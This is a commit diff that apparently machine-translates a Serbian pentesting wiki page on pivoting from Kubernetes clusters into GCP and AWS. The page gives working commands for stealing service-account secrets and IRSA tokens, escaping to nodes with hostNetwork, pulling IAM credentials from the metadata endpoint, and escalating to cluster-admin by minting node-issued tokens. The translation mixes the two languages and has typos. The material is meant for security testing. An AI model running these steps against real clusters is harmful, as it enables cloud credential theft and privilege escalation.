Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

2026-02-04 11:07:37 -08:00 · 2025-08-28 18:03:16 +00:00
parent 92a586a864
commit 8b2baabf0f
1 changed files with 75 additions and 55 deletions
--- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
@@ -4,62 +4,62 @@

 ## GCP

-Ako pokrećete k8s klaster unutar GCP-a, verovatno želite da neka aplikacija koja se pokreće unutar klastera ima pristup GCP-u. Postoje 2 uobičajena načina da to uradite:
+Ako pokrećete k8s cluser unutar GCP-a, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima pristup GCP-u. Postoje 2 uobičajena načina da se to uradi:

-### Montiranje GCP-SA ključeva kao tajne
+### Montiranje GCP-SA keys as secret

-Uobičajen način da se **omogući pristup kubernetes aplikaciji GCP-u** je da:
+Uobičajen način da se obezbedi **access to a kubernetes application to GCP** je da:

- Kreirate GCP servisni nalog
- Povežete željene dozvole
- Preuzmete json ključ kreiranog SA
- Montirate ga kao tajnu unutar poda
- Postavite GOOGLE_APPLICATION_CREDENTIALS promenljivu okruženja koja pokazuje na putanju gde se json nalazi.
+- Create a GCP Service Account
+- Bind on it the desired permissions
+- Download a json key of the created SA
+- Mount it as a secret inside the pod
+- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

 > [!WARNING]
-> Stoga, kao **napadač**, ako kompromitujete kontejner unutar poda, trebali biste proveriti tu **env** **promenljivu** i **json** **fajlove** sa GCP kredencijalima.
+> Dakle, kao **attacker**, ako kompromitujete container unutar poda, trebalo bi da proverite tu **env** **variable** i **json** **files** sa GCP credentials.

-### Povezivanje GSA json sa KSA tajnom
+### Povezivanje GSA json to KSA secret

-Način da se omogući pristup GSA GKE klasteru je povezivanje na sledeći način:
+Način da se omogući pristup GSA GKE cluser-u je vezivanjem na sledeći način:

- Kreirajte Kubernetes servisni nalog u istom namespace-u kao vaš GKE klaster koristeći sledeću komandu:
+- Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu:
 ```bash
-Copy codekubectl create serviceaccount <service-account-name>
+kubectl create serviceaccount <service-account-name>
 ```
- Kreirajte Kubernetes Secret koji sadrži akreditive GCP servisnog naloga kojem želite dodeliti pristup GKE klasteru. To možete uraditi koristeći `gcloud` komandnu liniju, kao što je prikazano u sledećem primeru:
+- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite dodeliti pristup GKE klasteru. Ovo možete uraditi koristeći `gcloud` command-line tool, kao što je prikazano u sledećem primeru:
 ```bash
-Copy codegcloud iam service-accounts keys create <key-file-name>.json \
+gcloud iam service-accounts keys create <key-file-name>.json \
 --iam-account <gcp-service-account-email>
 kubectl create secret generic <secret-name> \
 --from-file=key.json=<key-file-name>.json
 ```
- Povežite Kubernetes Secret sa Kubernetes servisnim nalogom koristeći sledeću komandu:
+- Povežite Kubernetes Secret sa Kubernetes service account koristeći sledeću komandu:
 ```bash
-Copy codekubectl annotate serviceaccount <service-account-name> \
+kubectl annotate serviceaccount <service-account-name> \
 iam.gke.io/gcp-service-account=<gcp-service-account-email>
 ```
 > [!WARNING]
-> U **drugom koraku** su postavljene **akreditivi GSA kao tajna KSA**. Tada, ako možete **pročitati tu tajnu** iz **unutar** **GKE** klastera, možete **escalirati na taj GCP servisni nalog**.
+> U **drugom koraku** su postavljeni **kredencijali GSA kao secret KSA**. Dakle, ako možete **pročitati taj secret** iz **unutrašnjosti** **GKE** klastera, možete **eskalirati na taj GCP service account**.

 ### GKE Workload Identity

-Sa Workload Identity, možemo konfigurisati a[ Kubernetes servisni nalog](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da deluje kao a[ Google servisni nalog](https://cloud.google.com/iam/docs/understanding-service-accounts). Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupanja Google Cloud API-ima.
+Sa Workload Identity, možemo konfigurisati a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da se ponaša kao a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods koji koriste Kubernetes service account će se automatski autentifikovati kao Google service account prilikom pristupa Google Cloud APIs.

-**Prva serija koraka** za omogućavanje ovog ponašanja je da **omogućite Workload Identity u GCP** ([**koraci**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreirate GCP SA koji želite da k8s imitira.
+The **prvi niz koraka** da se omogući ovo ponašanje je da **omogućite Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreirate GCP SA koju želite da k8s preuzme.

- **Omogućite Workload Identity** na novom klasteru
+- **Omogući Workload Identity** na novom klasteru
 ```bash
 gcloud container clusters update <cluster_name> \
 --region=us-central1 \
 --workload-pool=<project-id>.svc.id.goog
 ```
- **Kreirajte/ ažurirajte novi nodepool** (Autopilot klasteri to ne zahtevaju)
+- **Kreiraj/Ažuriraj novi nodepool** (Autopilot clusters ovo ne zahtevaju)
 ```bash
 # You could update instead of create
 gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
 ```
- Kreirajte **GCP servisni nalog za impersonaciju** iz K8s sa GCP dozvolama:
+- Kreirajte **GCP Service Account to impersonate** iz K8s sa GCP permissions:
 ```bash
 # Create SA called "gsa2ksa"
 gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
 --member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
 --role "roles/iam.securityReviewer"
 ```
- **Povežite** se na **klaster** i **napravite** **nalog usluge** koji ćete koristiti
+- **Povežite se** na **cluster** i **kreirajte** **service account** koji ćete koristiti
 ```bash
 # Get k8s creds
 gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
 --namespace testing \
 iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
 ```
- Pokrenite **pod** sa **KSA** i proverite **pristup** do **GSA:**
+- Pokreni **pod** sa **KSA** i proveri **access** ka **GSA:**
 ```bash
 # If using Autopilot remove the nodeSelector stuff!
 echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
 curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
 gcloud auth list
 ```
-Proverite sledeću komandu za autentifikaciju u slučaju potrebe:
+Proverite sledeću komandu za autentifikaciju ako je potrebno:
 ```bash
 gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
 ```
 > [!WARNING]
-> Kao napadač unutar K8s, trebali biste **tražiti SAs** sa **`iam.gke.io/gcp-service-account` anotacijom**, jer to ukazuje da SA može pristupiti nečemu u GCP-u. Druga opcija bi bila da pokušate da zloupotrebite svaki KSA u klasteru i proverite da li ima pristup.\
-> Iz GCP-a je uvek zanimljivo enumerisati vezivanja i znati **koji pristup dajete SAs unutar Kubernetes-a**.
+> Kao napadač unutar K8s treba da **tražite SAs** sa **`iam.gke.io/gcp-service-account` annotacijom** jer to ukazuje da SA može pristupiti nečemu u GCP. Druga opcija bi bila da pokušate zloupotrebiti svaki KSA u klasteru i proverite da li ima pristup.\
+> Iz GCP-a je uvek korisno izlistati bindings i znati **koji pristup dajete SAs unutar Kubernetes-a**.

-Ovo je skripta za lako **iteriranje kroz sve definicije podova** **tražeći** tu **anotaciju**:
+Ovo je skripta da lako **prođe kroz sve pods** definicije **tražeći** tu **annotaciju**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
 ```
 ## AWS

-### Kiam & Kube2IAM (IAM uloga za Podove) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

-Zastarjeli način davanja IAM uloga Podovima je korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U suštini, potrebno je pokrenuti **daemonset** u vašem klasteru sa **nekom privilegovanom IAM ulogom**. Ovaj daemonset će biti onaj koji će omogućiti pristup IAM ulogama podovima kojima je to potrebno.
+Jedan (zastareo) način za dodeljivanje IAM Roles Pods je korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U suštini, potrebno je pokrenuti **daemonset** u vašem klasteru sa nekom vrstom privilegovane IAM role. Taj daemonset će davati pristup IAM rolama podovima kojima je to potrebno.

-Prvo što treba da uradite je da konfigurišete **koje uloge mogu biti pristupne unutar imenskog prostora**, a to radite sa anotacijom unutar objekta imenskog prostora:
+Pre svega, potrebno je konfigurisati **koje role mogu biti dostupne unutar namespace-a**, i to se radi pomoću anotacije unutar namespace objekta:
 ```yaml:Kiam
 kind: Namespace
 metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
 ["role-arn"]
 name: default
 ```
-Kada je prostor imena konfigurisan sa IAM rolama koje Podovi mogu imati, možete **naznačiti ulogu koju želite u svakoj definiciji poda sa nečim poput**:
+Kada je namespace konfigurisan sa IAM rolama koje Pods mogu imati, možete **navesti rolu koju želite u definiciji svakog poda pomoću nečeg poput**:
 ```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
@@ -171,12 +171,12 @@ annotations:
 iam.amazonaws.com/role: reportingdb-reader
 ```
 > [!WARNING]
-> Kao napadač, ako **pronađete ove anotacije** u podovima ili prostorima imena ili ako se kiam/kube2iam server pokreće (verovatno u kube-system) možete **imitiirati svaku r**olu koja se već **koristi od strane podova** i više (ako imate pristup AWS nalogu, enumerišite uloge).
+> Kao napadač, ako **pronađete ove anotacije** u pods ili namespaces ili postoji pokrenut kiam/kube2iam server (verovatno u kube-system), možete **se lažno predstaviti kao bilo koje IAM role** koje već **koriste pods** i još više (ako imate pristup AWS account, nabrojte role).

-#### Kreirajte Pod sa IAM Ulogom
+#### Kreiranje Pod sa IAM Role

 > [!NOTE]
-> IAM uloga koju treba naznačiti mora biti u istom AWS nalogu kao kiam/kube2iam uloga i ta uloga mora imati pristup.
+> IAM role koja se navodi mora biti u istom AWS account-u kao i kiam/kube2iam role i ta role mora moći da joj pristupi.
 ```yaml
 echo 'apiVersion: v1
 kind: Pod
@@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
 ```
 ### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

-Ovo je **preporučeni način od strane AWS**.
+Ovo je **AWS-ov preporučeni način**.

-1. Prvo treba da [napravite OIDC provajder za klaster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
-2. Zatim kreirajte IAM ulogu sa dozvolama koje će SA zahtevati.
-3. Napravite [odnos poverenja između IAM uloge i SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) imenom (ili imenom prostora imena koji daje pristup ulozi svim SA-ima u prostoru imena). _Odnos poverenja će uglavnom proveravati ime OIDC provajdera, ime prostora imena i ime SA_.
-4. Na kraju, **napravite SA sa anotacijom koja označava ARN uloge**, a podovi koji se pokreću sa tom SA će imati **pristup tokenu uloge**. **Token** je **napisan** unutar datoteke i putanja je specificirana u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (podrazumevano: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
+1. Pre svega treba da [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
+2. Zatim kreirate IAM role sa dozvolama koje će SA zahtevati.
+3. Kreirajte [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ime SA, ili namespace-ove koji daju pristup roli svim SA u tom namespace-u). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
+4. Na kraju, **kreirajte SA sa anotacijom koja ukazuje na ARN of the role**, i pods koji se pokreću sa tim SA će imati **access to the token of the role**. The **token** is **written** inside a file i putanja je specificirana u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (podrazumevano: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
 ```bash
 # Create a service account with a role
 cat >my-service-account.yaml <<EOF
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
 # Add a role to an existent service account
 kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
 ```
-Da **dobijete aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` pokrenite:
+Da biste **pristupili aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, pokrenite:
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
 > [!WARNING]
-> Kao napadač, ako možete da enumerišete K8s klaster, proverite za **service accounts sa tom anotacijom** da **escalate to AWS**. Da biste to uradili, jednostavno **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukradite token.
+> Kao napadač, ako možete enumerisati a K8s cluster, proverite **service accounts with that annotation** da biste **escalate to AWS**. Da biste to uradili, jednostavno **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukrasti token.
 >
-> Pored toga, ako ste unutar poda, proverite za env varijable kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
+> Takođe, ako ste unutar pod-a, proverite env variables kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**

 > [!CAUTION]
-> Ponekad **Trust Policy of a role** može biti **loše konfigurisana** i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga **svim service accounts**. Stoga, ako ste u mogućnosti da napišete anotaciju na kontrolisanom service account-u, možete pristupiti roli.
+> Ponekad je **Turst Policy of a role** može biti **bad configured** i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga **all the service accounts**. Dakle, ako ste u mogućnosti da upišete annotation na kontrolisanom service account-u, možete pristupiti role-i.
 >
-> Proverite **sledeću stranicu za više informacija**:
+> Check the **following page for more information**:

 {{#ref}}
 ../aws-security/aws-basic-information/aws-federation-abuse.md
 {{#endref}}

-### Pronađite Podove i SAs sa IAM Rolama u Klasteru
+### Pronađite Pods a SAs with IAM Roles u klasteru

-Ovo je skripta za lako **iteriranje kroz sve podove i sas** definicije **tražeći** tu **anotaciju**:
+Ovo je skripta da lako iterira kroz sve pods i sas definicije tražeći tu annotation:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,26 @@ echo ""
 done
 done | grep -B 1 "amazonaws.com"
 ```
-### Node IAM Role
+### Node IAM Role u cluster-admin

-Prethodna sekcija je bila o tome kako ukrasti IAM uloge pomoću podova, ali imajte na umu da će **čvor K8s** klastera biti **instanca unutar oblaka**. To znači da je veoma verovatno da će čvor **imati novu IAM ulogu koju možete ukrasti** (_imajte na umu da obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno pokušavati proveravati svaki čvor_).
+Prethodni odeljak je govorio o tome kako ukrasti IAM Roles koristeći pods, ali imajte na umu da je **Node of the** K8s cluster zapravo **instanca inside the cloud**. To znači da je veoma verovatno da Node ima **IAM role koju možete steal** (_napomena: obično svi nodes u K8s clusteru imaju istu IAM role, pa možda nije vredno proveravati svaki node_).

-Međutim, postoji važan zahtev za pristup metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:
+Da biste pristupili node metadata endpoint-u morate:
+- Biti u podu i imati metadata endpoint konfigurisан na najmanje 2 tcp hops. Ovo je najčešća misconfiguration jer različiti pods u klasteru obično zahtevaju pristup metadata endpoint-u da ne bi došlo do breaking, i nekoliko kompanija jednostavno odluči da dozvoli pristup metadata endpoint-u sa svih pods u klasteru.
+- Biti u podu sa `hostNetwork` enabled.
+- Escape to the node i pristupiti metadata endpoint-u direktno.
+
+(Napomena: metadata endpoint je na 169.254.169.254 kao i uvek).
+
+Da biste **escaped to the node** možete koristiti sledeću komandu da pokrenete pod sa `hostNetwork` enabled:
 ```bash
 kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
 ```
-### Ukrao IAM Role Token
+### Ukradite IAM Role Token

-Prethodno smo razgovarali o tome kako da **priključite IAM Role na Pods** ili čak kako da **pobegnete na Node da ukradete IAM Role** koji je instanci priključen.
+Ranije smo objasnili kako da **attach IAM Roles to Pods** ili čak kako da **escape to the Node to steal the IAM Role** koji je pridružen instanci.

-Možete koristiti sledeći skript da **ukradete** svoje nove teško zarađene **IAM role kredencijale**:
+Možete koristiti sledeći skript da **ukradete** svoje novo, teško stečene **IAM role credentials**:
 ```bash
 IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
 if [ "$IAM_ROLE_NAME" ]; then
@@ -276,7 +283,20 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
 fi
 fi
 ```
-## Reference
+### Privesc to cluster-admin
+
+Ukratko: ako je moguće **pristupiti EKS Node IAM role** iz pod-a, moguće je **compromise the full kubernetes cluster**.
+
+Za više informacija pogledajte [ovu objavu](https://blog.calif.io/p/privilege-escalation-in-eks). Kao rezime, podrazumevana IAM EKS role koja se dodeljuje EKS nodes po defaultu ima unutar clustera rolu `system:node`. Ova rola je veoma interesantna iako je ograničena kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
+
+Međutim, node uvek može **generate tokens for service accounts** koji se izvršavaju u pods unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može generisati token za taj service account i koristiti ga da impersonate taj service account kao u:
+```bash
+kubectl --context=node1 create token -n ns1 sa-priv \
+--bound-object-kind=Pod \
+--bound-object-name=pod-priv \
+--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
+```
+## Izvori

 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
 - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)